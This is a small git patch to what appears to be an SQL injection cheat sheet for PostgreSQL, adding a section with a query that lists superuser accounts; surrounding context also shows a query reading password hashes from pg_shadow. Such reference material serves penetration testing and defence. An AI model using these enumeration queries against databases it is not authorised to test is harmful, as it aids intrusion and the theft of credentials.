From bb2c2471604761976445d54de2b4a936b034c1df Mon Sep 17 00:00:00 2001 From: nizam0906 Date: Tue, 29 Oct 2019 10:32:39 +0530 Subject: [PATCH] Added List Database Administrator Accounts SELECT datname FROM pg_database --- SQL Injection/PostgreSQL Injection.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/SQL Injection/PostgreSQL Injection.md b/SQL Injection/PostgreSQL Injection.md index d923c5a..2bf952c 100644 --- a/SQL Injection/PostgreSQL Injection.md +++ b/SQL Injection/PostgreSQL Injection.md @@ -7,6 +7,7 @@ * [PostgreSQL Current User](#postgresql-current-user) * [PostgreSQL List Users](#postgresql-list-users) * [PostgreSQL List Password Hashes](#postgresql-list-password-hashes) +* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts) * [PostgreSQL List Privileges](#postgresql-list-privileges) * [PostgreSQL database name](#postgresql-database-name) * [PostgreSQL List databases](#postgresql-list-database) @@ -57,7 +58,10 @@ SELECT usename FROM pg_user ```sql SELECT usename, passwd FROM pg_shadow ``` - +## PostgreSQL List Database Administrator Accounts +```sql +SELECT usename FROM pg_user WHERE usesuper IS TRUE +``` ## PostgreSQL List Privileges ```sql